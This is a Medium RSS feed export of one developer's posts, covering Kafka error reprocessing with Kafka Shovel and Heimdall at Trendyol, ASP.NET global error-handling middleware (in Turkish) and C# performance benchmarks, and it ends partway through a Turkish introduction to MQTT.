<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muhammet İkbal KAZANCI on Medium]]></title>
        <description><![CDATA[Stories by Muhammet İkbal KAZANCI on Medium]]></description>
        <link>https://medium.com/@ikbalkazanc?source=rss-e4825d8e8df0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*aBMpomS8LfVY6JpP</url>
            <title>Stories by Muhammet İkbal KAZANCI on Medium</title>
            <link>https://medium.com/@ikbalkazanc?source=rss-e4825d8e8df0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 06:38:10 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ikbalkazanc/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[A Productive Error Handling Practice]]></title>
            <link>https://medium.com/trendyol-tech/a-productive-error-handling-practice-c45fce76f824?source=rss-e4825d8e8df0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c45fce76f824</guid>
            <category><![CDATA[kafka]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[error-handling]]></category>
            <category><![CDATA[java]]></category>
            <dc:creator><![CDATA[Muhammet İkbal KAZANCI]]></dc:creator>
            <pubDate>Tue, 10 Dec 2024 12:02:25 GMT</pubDate>
            <atom:updated>2024-12-12T12:33:03.565Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hm-oOR9Tl92q0fUxrYl5vg.png" /></figure><p>Hello Fellas 👬, software by its nature is prone to errors. Sometimes it can be due to external factors, and sometimes it can be due to your code. The database may crash, there may be logical errors, the network may go down, the server may get flooded with water, or a meteor may strike. These are inevitable.</p><p>The code you write should ensure with absolute certainty that incoming data is processed correctly. Trendyol is a massive company with thousands of employees and thousands of microservices. Therefore, even the smallest component must guarantee its functionality. It is the responsibility of the developer to ensure the reliability and consistency of their code. This can be achieved by making errors reusable. They should be able to store and process errors. In this article, I will share the methods and tools we use at Trendyol when reprocessing errors.</p><p>The method we use within our team has evolved, iteratively, into its final form. While developing the system, we aimed to eliminate as many manual processes as possible and shaped it to address our problems. We generated solutions based on the lessons learned from various errors and issues. And we continue to iterate. When we first started, we were only publishing errors to error topics. However, over time, we have transformed this structure into a more complex and efficient one. At this stage, we can handle any errors encountered by the end of the day without requiring manual intervention. Of course, we cannot solve problems caused by logical errors. However, we can still track reports of these issues on a daily basis and increase our awareness.</p><p>Heimdall is extremely valuable for a team like ours, which processes millions of data points and relies heavily on the Domain-Driven Design structure. It provides incredible time savings. Before building this infrastructure, a significant portion of our days were spent manually tracking and processing errors. Time is precious, and a solution was necessary.Structure&amp;Components</p><h3>Structure&amp;Components</h3><p>The structure utilizes multiple components, some of which may be used optionally. However, I’ll share the version where we utilize all components, as we believe it represents the most efficient state of the structure.</p><p><strong>SPR Kafka Shovel:</strong> Kafka Shovel is a tool used to transfer data from an Apache Kafka topic to other destinations such as databases or storage systems. It provides a streamlined way to extract and move data within Kafka clusters and integrate it with various data processing pipelines.</p><p><strong>Kafkathena: </strong>It is a library that allows you to use Kafka more efficiently for your Java projects. If you’re a Java developer, I’m sure it will catch your interest. You can find more detailed information on the <a href="https://github.com/Trendyol/kafkathena-jakarta">Trendyol Github repository</a>.</p><p><strong>Heimdall: </strong>It is a structure that periodically checks Kafka topics and reports based on groups. And we prefer to publish the reporting to a Slack channel.</p><p>As an example, it’s not mandatory to use Kafka Athena. If you have a GO or Node.js project, when you publish your errors to an error topic using the same method, the other two components will still fulfill their tasks.</p><p>Alternatively, when not using Kafka Shovel, Heimdall alone will be able to report your errors. This structure is a flexible system that can be optionally utilized based on preference.</p><h3>What exactly does it provide?</h3><ul><li>Due to providing error handling assurance, it increases the ‘Reliability’ and ‘Consistency’ ratio of your code.</li><li>It minimizes manual intervention in errors, leading to time savings.</li><li>We can monitor the errors we receive periodically on a topic basis via the Slack channel.</li><li>Group-based lag tracking can be monitored on a topic basis.</li><li>Being able to work with multiple Kafka hosts.</li></ul><h3>How to work?</h3><p>It would be more appropriate to explain this through an example. Let’s say you’re working in a domain that deals with <strong>orders</strong>. And your domain is dependent on e <strong>user</strong> domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tGHKFOOTq85_4PHAKAl5MQ.png" /><figcaption>high level dependency map</figcaption></figure><p>You need user information at all times, and you should be working with the most up-to-date user data. Therefore, you are constantly consuming the <strong>user.application.user.save.topic</strong> topic. You are saving newly arrived users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3kjVDAI8UvoytuE6_NeJwQ.png" /><figcaption>system architecture</figcaption></figure><p>As expected, an event is published for each new user in the user domain. At this point, we rely on <strong>Kafkathena</strong> for assistance. As the Order domain, we listen to and process the topic with the following <strong>.yml</strong> definition. For a more detailed <strong>Kafkathena</strong> implementation, you can refer to the document in the <a href="https://github.com/Trendyol/kafkathena-jakarta?tab=readme-ov-file#usage">link</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tpVcOVF5bjh9IoIMbfo8Xw.png" /><figcaption>kafkathena consuming&amp;rety&amp;failover features configuration</figcaption></figure><p>When the event reaches our JAVA application, we are ready to save it to the database. However, we have started to encounter <strong>org.hibernate.JDBCException</strong> errors during the save operation. Your servers may have been flooded. In this case, for each event, <strong>Kafkathena</strong> processes it twice more according to the definition above. If an error occurs each time, <strong>Kafkathena</strong> records the error event to the <strong>user.application.user.save.topic.error</strong> topic in Kafka.</p><p>A now unprocessable event, that is, one that cannot be processed, is waiting in the error topic queue. In this situation, <strong>Heimdall</strong> comes into play. As I mentioned earlier, we developed this infrastructure iteratively over time. Our initial goal was to notify us via Slack when there is an event in the error topic. The .yml definition below does exactly that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_hpCAxBi6vyN7Ts4TxE4ow.png" /><figcaption>Heimdall Error Topic Configuration</figcaption></figure><p>In this example, the system can notify the Slack channel if the lag for the group-id is greater than zero at the top of every hour. Yes, we made some progress. However, we were still manually dealing with the recorded errors. We continued to develop.</p><p>And we developed a Kafka Shovel. The job of the Kafka Shovel was simple: to write all events from one topic to another topic. The Shovel listens to all partitions of the relevant topic in the background. Since it listens with a newly created random group-id, it collects all events from the topic and stores them in memory. Then it publishes these to the target topic. The Shovel can be used in a more specific way. I will share the details in the later parts of the article.</p><p><strong>POST <em>/shovel/move-event</em></strong></p><pre>{<br>  &quot;enableDeleteAllMovedData&quot;: true,<br>  &quot;consumer&quot;: {<br>    &quot;topic&quot;: &quot;user.application.user.save.topic.error&quot;,<br>    &quot;cluster&quot;: {<br>      &quot;bootstrapServers&quot;: &quot;localhost:9092&quot;,<br>      &quot;hasClusterAuth&quot;: false<br>    }<br>  },<br>  &quot;producer&quot;: {<br>    &quot;topic&quot;: &quot;user.application.user.save.topic&quot;,<br>    &quot;cluster&quot;: {<br>      &quot;bootstrapServers&quot;: &quot;localhost:29092&quot;,<br>      &quot;hasClusterAuth&quot;: true,<br>      &quot;clusterUserName&quot;: &quot;user&quot;,<br>      &quot;clusterPassword&quot;: &quot;username&quot;<br>    }<br>  }<br>}</pre><p>We created an <strong>API</strong> on the upper curl in <strong>Kafka Shovel</strong>. And we implemented it with <strong>Heimdall</strong>. Now, every hour, <strong>Heimdall</strong> starts re-producing events from the relevant error topic back to the source topic. Then, it deletes the produced events from the error topic. We encountered this issue with the configuration set to <strong>enableDeleteAllMovedData=true</strong>, as shown in the example below. In this case, the <strong>Heimdall</strong>. In this case, the <strong>Heimdall</strong> .yml definition became as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*52ZWFf8bmazTOBxAm9n3Pg.png" /><figcaption>Heimdall Error Topic Configuration with remove feature</figcaption></figure><p>In this case, the reprocessed error events will be able to continue producing to the error topic if they encounter errors again. These events will not be lost until they are processed.</p><h3><strong>How do we use this?</strong></h3><p>As the <strong>Trendyol — Seller Commercial</strong>, we are a team with dependencies on many other teams. In our e-commerce operations, we collaborate closely with sellers’ information and engage in data exchange with external teams for various purposes. In any case, we handle millions of events daily through different teams. We consume or produce to nearly 350 topics.</p><p>At the end of the day, software are living structure. They are continually evolving and are prone to errors and glitches. What is expected from a software team is to provide service to our customers with minimal margin of error. To handle such a massive system, we need strong observability capabilities. We have defined 156 alerts. These process potential errors and operate autonomously. On average, we receive around 10 different error alert messages to our slack channel every day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YG8DwxIGXBBssXFZl1bPvw.jpeg" /><figcaption>Slack Alert Message Example</figcaption></figure><p>The source of these errors sometimes originates from race conditions, other times from the inability to locate the source we’re seeking from other teams. Occasionally, errors also occur due to server or database issues. However, ultimately, their common trait is errors, and they all need to be reprocessed to ensure customer satisfaction. That’s how we handle them.</p><p>In addition, sometimes these error messages can occur in cases where they shouldn’t be processed, such as logical errors. Thanks to this system, we also track the handling of such events.</p><h3><strong>Observer Consumer Lag/Latecy With The Heimdall</strong></h3><p><strong>Heimdall</strong> is essentially a lag monitoring tool. It means it can track events accumulated over time in a topic. We can define alerts that can notify us if there is an increase in lag within a topic. This enhances our ability to monitor the overall status of our software system.</p><p>As an example, we mentioned <strong>user.application.user.save.topic</strong> topic where we consume to info of e-commerce customers in the above example. Let’s evaluate its benefit with a possible scenario. <strong>Trendyol</strong> <strong>Gulf</strong> (Bahrain, Qatar, Saudi Arabia, etc.) and <strong>CEE</strong> (Romania, Czech Republic, Slovakia, etc.) regions have started selling to dozens of countries. And now, new customer entries have begun to increase dramatically. Your services are now unable to handle this. Due to this, <strong>user.application.user.save.topic</strong> topic is no longer being processed at a sufficient speed. <strong>Heimdall</strong> will notify you of this latency accumulation with a <strong>Slack</strong> message. This way, you’ll understand when it’s time to scale your services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrXF7hlAnH9Ckj-LCuxaUw.png" /><figcaption>Example Lag Alert</figcaption></figure><p>You are seeing a defined alert <strong>.yml</strong> configuration for the example mentioned above. Here, we can define a threshold with a <strong>minimumLag</strong> field, enabling it to alert us when necessary.</p><h3><strong>Additional Kafka Shovel Capabilities</strong></h3><p>In this section, I will discuss the benefits of ‘Kafka Shovel’ for software developers. As developers, we work with tools that make our job easier. I believe Kafka Shovel is a tool that every developer should have at their disposal, especially if you’re part of a Kafka-based team like ours. We use it frequently on a daily basis and have relied on it many times when we’re in a bind, especially during periods.</p><h4>More Features While Moving Events</h4><p>At the beginning of the article, I provided an example of an event move. In this example, we used this endpoint most simply. However, it has more capabilities.</p><ul><li>Different source servers can be used when moving events.</li><li>Events from different time intervals can be moved.</li><li>Filtering can be done on the header or payload.</li><li>Customizable auth options (JKS).</li></ul><p>Moving Event Contract:</p><pre>{<br>  &quot;consumer&quot;: {<br>    &quot;topic&quot;: &quot;string&quot;,<br>    &quot;startTime&quot;: 0,<br>    &quot;endTime&quot;: 0,<br>    &quot;filterWithPayloadValue&quot;: &quot;string&quot;,<br>    &quot;filterWithHeaderValue&quot;: &quot;string&quot;,<br>    &quot;enableDeleteAllMovedData&quot;: false,<br>    &quot;cluster&quot;: {<br>      &quot;hasClusterAuth&quot;: true,<br>      &quot;clusterUserName&quot;: &quot;string&quot;,<br>      &quot;clusterPassword&quot;: &quot;string&quot;,<br>      &quot;bootstrapServers&quot;: &quot;string&quot;,<br>      &quot;trustStoreFileName&quot;: &quot;string&quot;,<br>      &quot;trustPassword&quot;: &quot;string&quot;<br>    }<br>  },<br>  &quot;producer&quot;: {<br>    &quot;topic&quot;: &quot;string&quot;,<br>    &quot;cluster&quot;: {<br>      &quot;hasClusterAuth&quot;: true,<br>      &quot;clusterUserName&quot;: &quot;string&quot;,<br>      &quot;clusterPassword&quot;: &quot;string&quot;,<br>      &quot;bootstrapServers&quot;: &quot;string&quot;,<br>      &quot;trustStoreFileName&quot;: &quot;string&quot;,<br>      &quot;trustPassword&quot;: &quot;string&quot;<br>    }<br>  }<br>}</pre><h4>Listing Consumer Groups</h4><p><strong>Kafka Shovel</strong> has an endpoint that can list the consumer groups listening to a topic. We have not integrated with this endpoint yet. We are currently using it manually. However, in the future, this endpoint can be used to support automation.</p><h4>Kafka Shovel Lag Tracking</h4><p>You can read lag on the consumer based on <strong>group-id</strong>. This can be achieved by meeting a few requirements.</p><h3>Conclusion</h3><p>The error management system developed at <strong>Trendyol</strong> improves code reliability and consistency by reprocessing and tracking software errors. This system minimizes manual interventions, saving time and allowing teams to periodically monitor error reports. Integrated with tools like <strong>Kafka Shovel</strong>, <strong>Kafkathena</strong>, and <strong>Heimdall</strong>, this structure automatically reprocesses and reports errors, sending notifications to a Slack channel when necessary. Thus, it aims to minimize software errors and increase customer satisfaction. This system provides significant efficiency, especially for teams handling big data and using a DDD.</p><h3>References</h3><p><a href="https://github.com/Trendyol/kafkathena-jakarta">GitHub - Trendyol/kafkathena-jakarta</a></p><h3>Join Us!</h3><p>Be a part of something great! Trendyol is currently hiring. Visit the pages below for more information and to apply.</p><p><a href="https://jobs.lever.co/trendyol/4bf7e1b0-1e26-4a2f-9208-f156b8437e8c">Trendyol - Backend Developer</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c45fce76f824" width="1" height="1" alt=""><hr><p><a href="https://medium.com/trendyol-tech/a-productive-error-handling-practice-c45fce76f824">A Productive Error Handling Practice</a> was originally published in <a href="https://medium.com/trendyol-tech">Trendyol Tech</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ASP.NET için global error handling]]></title>
            <link>https://ikbalkazanc.medium.com/asp-net-i%C3%A7in-global-error-handling-5ae71c07355a?source=rss-e4825d8e8df0------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ae71c07355a</guid>
            <category><![CDATA[error-handling]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[dotnet]]></category>
            <category><![CDATA[aspnetcore]]></category>
            <category><![CDATA[csharp]]></category>
            <dc:creator><![CDATA[Muhammet İkbal KAZANCI]]></dc:creator>
            <pubDate>Wed, 19 Jan 2022 23:18:42 GMT</pubDate>
            <atom:updated>2022-01-19T23:18:42.009Z</atom:updated>
            <content:encoded><![CDATA[<h4>Asp.Net için kullanabileceğiniz kullanışlı bir hata ayıklama yöntemi</h4><p>Hataların yakalanması ne kadar kritik ise yazılımcıların hata işleme üzerine sarf ettiği emek o kadar fazla oluyor. Bu kavramın önemini kodu yazarken değil, prod ortamında çalışırken anlıyoruz. Bu hataların mümkün olduğunca yakalanarak sınıflandırılması ve depolanması gerekiyor. Bu sayede veri seti üzerinden analiz yaparak sistemin eksikliklerini, güvenlik açıklarını tespit edebiliyoruz. Veya olağandışı bir durum oluştuğunda bunu sezebiliyoruz. Böylelikle sistemin gelişimine katkıda bulunmuş oluyoruz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lBPZIpxhlCRYLOng.jpeg" /></figure><p>Hata yakalama işlemini değerli kılan bazı kriterler bulunuyor. H<strong>ata kapsamı(coverage) </strong>ne kadar geniş olursa kod kalitesininde aynı oranda arttığını söyleyebiliriz. Peki bu oranı yüksek tutmak için neler yapabiliriz? Bunun için hataların tek bir noktadan işlenebilmesini sağlamak, hata yakalamalarının yönetimini kolaylaştıracaktır. Aynı zamanda kodun geliştirilebilirliğini, okunabilirliğini ve modülerliğini arttıracaktır. Bence bunu sağlamak için <strong>hata fırlatmak(throw exception)</strong> en iyi metot olacaktır. Doğru bir karar olacak ki Robert C. Martin bunun için Clean Code kitabında bir bölüm ayırmıştır. Ve kendisi hata kodları dönmek yerine hata fırlatmanın daha kontrol edebilebiliceğinden bahsetmiştir.</p><blockquote>Use Exceptions Rather Than Return Codes — Robert C. Martin “Clean Code”</blockquote><p>Bu yazımda .NET üzerinde global bir hata ayıklama yolunu göstermek istiyorum. Basit bir yöntem ancak kullanışlı. Makalenin sonunda ne kadar etkili bir yöntem olduğunu anlayacaksınız. Oluşturacağım bu yapı hataları tek bir noktadan kontrol edebilmenize olanak sağlayacak. Ve siz yazılımınızın gereksinimine göre yapılandırabileceksiniz. Bu makaledi yaklaşımı sadece Asp.NET ile soyutlamak yanlış olur. İstek hattından(request pipeline) bağımsızda kullanabilirsiniz. Hatta try-catch keyword’ü olan herhangi bir programlama dilinde bu yaklaşımı uygulayabilirsiniz.</p><p>Aşağıdaki bu kurguda Asp.Net’deki ara katman(middleware) yapılarını kullanarak gerçekleştirdim. Javascript’den gelenler bunu Express.js de bulunan middleware yapısına, JAVA’dan gelenler bunu Interceptors veya Filters yapılarına benzetebilirsiniz. Ben hataları konsola yazdırmayı tercih ettim. Ancak bu yapıda yakaladığınız hataları veritabanına yazabilir veya event fırlatabileceğiniz bir şekilde konfigüre edebilirsiniz.</p><p>İmplementasyonun gerçekleştirmek için varsayılan .NET Web API şablonu oluşturuyorum. Controlleryapısını sistemimizi test edecek şekilde düzenliyorum.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/70230b1d546a9f2032ed50644d1eab24/href">https://medium.com/media/70230b1d546a9f2032ed50644d1eab24/href</a></iframe><p>Ve içersinde try-catch yapısını kuracağım bir middleware katmanı oluşturuyorum. Buradaki mantık UserController ‘da fırlatılan ArgumentNullException hatasını yakalamasıdır. Middleware hakkında daha detaylı bilgi için linki inceleyebilirsiniz <a href="https://www.tutorialsteacher.com/core/aspnet-core-middleware">https://www.tutorialsteacher.com/core/aspnet-core-middleware</a>. Class içersinde kullanılan RequestDelegate hakkında daha detaylı bilgi almak için ise hazırladığım youtube <a href="https://www.youtube.com/watch?v=mYEUHQFnfOw">videosunu </a>izleyebilirsiniz.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/82351a536f765049c55fa943b785db72/href">https://medium.com/media/82351a536f765049c55fa943b785db72/href</a></iframe><p>Ardından Program.cs içersinde çağırabilmem için IApplicationBuilder interface’sine extension olarak ekliyorum.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8c3f0921a0cbfd1c2fb627d66db1abd4/href">https://medium.com/media/8c3f0921a0cbfd1c2fb627d66db1abd4/href</a></iframe><p>Program.cs dosyasına kendi oluşturduğumuz middleware’yi ekliyoruz.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e0b727c1e339c84b5934c26bdd29cab0/href">https://medium.com/media/e0b727c1e339c84b5934c26bdd29cab0/href</a></iframe><p>Burada anlaşılması gereken püf nokta, bizim tanımladığımız try-catch scope’si ardından gelen tüm katman ve kodları runtime’da kapsamasıdır. Aşağıdaki görselde gelen request’in birtakım prosedürlerden geçtikden sonra bizim hata yakalama katmanıyla karşılaşmakatadır. Ve içerisinde açılan try-catch scope’si ardından gelen tüm kodları kapsamaktadır. Bu kapsam sizin yazdığınız service’ler, repository’ler, controller’ler olabilir. Görselde kapsanan kısım kırmızı, kapsanmayan kısım yeşil ile işaretlenmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZTA9zWLpdxLajnWaxvy6g.png" /></figure><p>Bu senaryoda api/user endpoint’ine atılan istek sonucu UserController ‘dan exception fırlatılır. Bizim oluşturduğumuz katman içerisinde bulunan try-catch yapısı ArgumentNullException hatasını yakalar.</p><p>Bu makalede hata yakalama işlemini tek bir noktadan yönetilebilir bir yapı üzerinden gerçekleştirdik. Bu bize kodun geliştirilebilirliğini, okunabilirliğini ve modülerliğini sağladı. Dağınık şekilde bir sürü try-catch blokları yerine tek bir blok ile bu işi çözdük.</p><blockquote>Kodların tamamını <a href="https://github.com/ikbalkazanc/dotnet-api-error-handling-example">link</a>teki github reposundan erişebilirsiniz.</blockquote><h3>Contact</h3><p>Muhammet İkbal KAZANCI — <a href="https://github.com/ikbalkazanc/Asp.NetCore-Security">Github Repository</a> — <a href="https://www.linkedin.com/in/ikbalkazanc/">LinkedIn</a> — <a href="/service/mailto:mi.kazanci@hotmail.com">mi.kazanci@hotmail.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ae71c07355a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[C# 6 Performance Tricks]]></title>
            <link>https://ikbalkazanc.medium.com/c-6-performance-tricks-ae749a7a8c45?source=rss-e4825d8e8df0------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae749a7a8c45</guid>
            <category><![CDATA[c-sharp-programming]]></category>
            <category><![CDATA[dotnet-core]]></category>
            <category><![CDATA[csharp]]></category>
            <category><![CDATA[dotnet]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Muhammet İkbal KAZANCI]]></dc:creator>
            <pubDate>Fri, 07 Jan 2022 21:33:16 GMT</pubDate>
            <atom:updated>2022-01-07T21:38:20.800Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*mtnmGHIHQ6-F6kcM.jpg" /></figure><p>This article will tell improve your code performance few mini tricks about .NET. At first look these tricks are can supposed unnecessary but they’ll come absolute performance increments. All benchmark codes can be found in the github repo <a href="https://github.com/ikbalkazanc/csharp-performance-tricks">here</a>. Are you ready to push the limits?</p><h3>How you call multi dimensional array is very important</h3><p>Let’s suppose, we have 1000x1000 two dimension array. And you need to check one by one all of array. Are you using array[i][j]or array[j][i]when calling element? Or are you say “what would it matter?” Let’s explain.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/afb910f8cb55812363b1917f050065ce/href">https://medium.com/media/afb910f8cb55812363b1917f050065ce/href</a></iframe><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/42b7fdc2df1ba6d4d7f48f26cdc78137/href">https://medium.com/media/42b7fdc2df1ba6d4d7f48f26cdc78137/href</a></iframe><p>There are two part of C# benchmark code above. There is nothing wrong at first glance. But benchmark results don’t show it. There is a performance increase of almost 60%. Also there’s different allocate size. The reason is that, .NET is walk in memory when call element from inside of array. So more gaps between two call, the greater the performance degradation. .NET is really care about memory locality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9z_ZEx0nq-Jbzhoz1q0Ftg.png" /><figcaption>1000x1000 two dimension array benchmark result</figcaption></figure><h3>Which one is better? <strong>for vs foreach vs </strong><strong>List ForEach loops</strong></h3><p>We often use these loop structures. But we don’t examine from the point of performance. In under this title, I won’t tell about from what they. Just, I want to you see performance differences.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b1056ab30a15eb15958a61e5b3b4384a/href">https://medium.com/media/b1056ab30a15eb15958a61e5b3b4384a/href</a></iframe><p>There are two part of C# benchmark code above. It’s just calling element of list. In benchmark result, forloop works best by far. it’s almost twice as fast according to foreach. Because foreachworks with enumerator instance. it’s create GetEnumarator()and call your code part for each element of list. This results in performance degradation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPDQ1c2_zHk-WTz3AI1lYg.png" /><figcaption>for vs foreach vs ForEach</figcaption></figure><p>As for the ForEachmethod, I shared below List Object method content from source code. It is seen that the for loop is used on the basis of it. But it uses Action delegate. Also it’s does so many null and version checking. Therefore, the performance decreases.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nuj9uJM4Y_4KtntPa1okyQ.png" /><figcaption>ForEach source code</figcaption></figure><h3>Use if you can capacity in Lists</h3><p>Does it make sense to limit the list to capacity? if you be in performance expectation, yes it’s sense.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14a0071fe17d94e608fd3f243a56179a/href">https://medium.com/media/14a0071fe17d94e608fd3f243a56179a/href</a></iframe><p>In benchmark results, x almost %63 speedy more than normal list. This number increase to %73 in 1000 capacity test. Also Allocate sizes too low according to normal list. The reason for this is lists with capacity, work like arrays.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q4YQcbXq21xK3vuvIrKKpw.png" /><figcaption>List Capacity Benchmark Result</figcaption></figure><h3>Use StringBuilder as possible</h3><p>I was using normal operators and string methods before hear StringBuilder. I wasn’t think there was a difference between them. But there is a substantial difference in performance. Also I didn’t share the benchmark code to avoid clutter. If you are examine code, you can access <a href="https://github.com/ikbalkazanc/csharp-performance-tricks">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pwy4QyXFjxpZmk-F9FLGug.png" /><figcaption>StringBuilder Benchmark Result</figcaption></figure><p>I split benchmark code as into tiny string processes and heavy string processes. The results come out incredibly different. If we examine the results, the use of StringBuilderdefinitely causes a performance increase. If we examine tiny string process, it takes time to create StringBuilderintance. Therefore, it may be illogical to use it for your tiny string process.</p><h3><strong>Do not use IEnumrable parameter</strong></h3><p>Does specifying the parameter type as IEnumerableor List change anything? Yes, it changes. When parameter is passed as IEnumerable, boxing and unboxing operations are performed in the list.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/449bb8dce4f13e44e8418159d5865357/href">https://medium.com/media/449bb8dce4f13e44e8418159d5865357/href</a></iframe><p>You have noticed that the parameters are different in the code snippet I gave above. When you pass a list as an IEnumerable, it does boxing like the AsEnumerable()method. Because of this, performance loss occurs. You can observe this in the benchmark test.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SKtxUd6CFjzk3EA9XzS3Ww.png" /><figcaption>List Parameter Passing benchmark</figcaption></figure><h3>General Array and List Performances</h3><p>A comparison of some lists has been made under this title. Of course, you should determine which one to use according to the scenario. This benchmark test may change your choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c8N15ZrrgIYja9lqPcDJog.png" /><figcaption>Array and list performance benchmark</figcaption></figure><p>In this article, I talked about a lot of little tricks that will affect performance. My goal here was to show that developers can make big performance gains with small changes. I hope I was successful. It is worth remembering that you can find all the codes <a href="https://github.com/ikbalkazanc/csharp-performance-tricks">here </a>on github. You can like the repo and the article to support.</p><h3>Source</h3><ul><li><a href="https://www.geeksforgeeks.org/c-sharp-capacity-of-a-list/">C# | Capacity of a List - GeeksforGeeks</a></li><li><a href="https://code-maze.com/c-tips-to-improve-code-quality-and-performance/">C# Tips to Improve Code Quality and Performance - Code Maze</a></li></ul><p><a href="https://docs.microsoft.com/en-us/dotnet/framework/performance/performance-tips">https://docs.microsoft.com/en-us/dotnet/framework/performance/performance-tips</a></p><h3>Contact</h3><p>Muhammet İkbal KAZANCI — <a href="https://github.com/ikbalkazanc/Asp.NetCore-Security">Github Repository</a> — <a href="https://www.linkedin.com/in/ikbalkazanc/">LinkedIn</a> — <a href="/service/mailto:mi.kazanci@hotmail.com">mi.kazanci@hotmail.com</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae749a7a8c45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MQTT Nedir? Nasıl Kullanılır? ve SDKs]]></title>
            <link>https://ikbalkazanc.medium.com/mqtt-nedir-nas%C4%B1l-kullan%C4%B1l%C4%B1r-ve-sdks-1851d0f7a7fa?source=rss-e4825d8e8df0------2</link>
            <guid isPermaLink="false">https://medium.com/p/1851d0f7a7fa</guid>
            <category><![CDATA[mqtt]]></category>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[software]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Muhammet İkbal KAZANCI]]></dc:creator>
            <pubDate>Mon, 09 Aug 2021 22:47:04 GMT</pubDate>
            <atom:updated>2021-08-09T22:47:04.530Z</atom:updated>
            <content:encoded><![CDATA[<p>Bu makaleyi uzun süreden beridir yazmak istiyordum. IoT’nin temel elemanı olan MQTT, neden bu kadar rağbet gördüğünden, çalışma mantığından, alternatiflerinin farklılıklarından ve kullanımından bahsetmek istiyorum. Umarım bu makale okuyucular için faydalı olacaktır.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*v1TTNCviRtUQPEwq.jpg" /></figure><h3>MQTT Nedir?</h3><p>MQTT(Message Queuing Telemetry Transport), IoT sektöründe fazlasıyla değer görmüş bir protokoldür. Kendi referans web sitesinde OASIS standartlarına göre geliştirildiğinden ve minimum sistem gereksiniminin kullanıldığından bahsetmektedir. Bu arada OASIS Open, bireyler, kurumlar ve hükümetler arasındaki teknik sorunlara çözüm üreten bir organizasyondur. Bu protokol ilk olarak 1999 yılında IBM tarafından geliştirilip piyasaya sürülmüştür. İlk olarak petrol borularının monitör edilmesinde kullanılmıştır. Günümüzde ise BMW, Volkswagen gibi firmalar çeşitli gereksinimleri için kullanmaktadır.</p><p>Protokol, m2m (machine-to-machine) teknolojisine ve publisher/subscriber(yayıncı/abone) mantığına sahip bir mimariden oluşmaktadır. Bağlantı TCP altyapısı ile sağlamaktadır. Clientlerin(istemci) adresi olmadığından dolayı, ilk bağlantı isteğini client oluşturmaktadır.</p><h3>Neden MQTT?</h3><p>MQTT’nin otomotiv, lojistik, üretim, akıllı ev sistemleri gibi birçok sektörde kullanılmasının bir 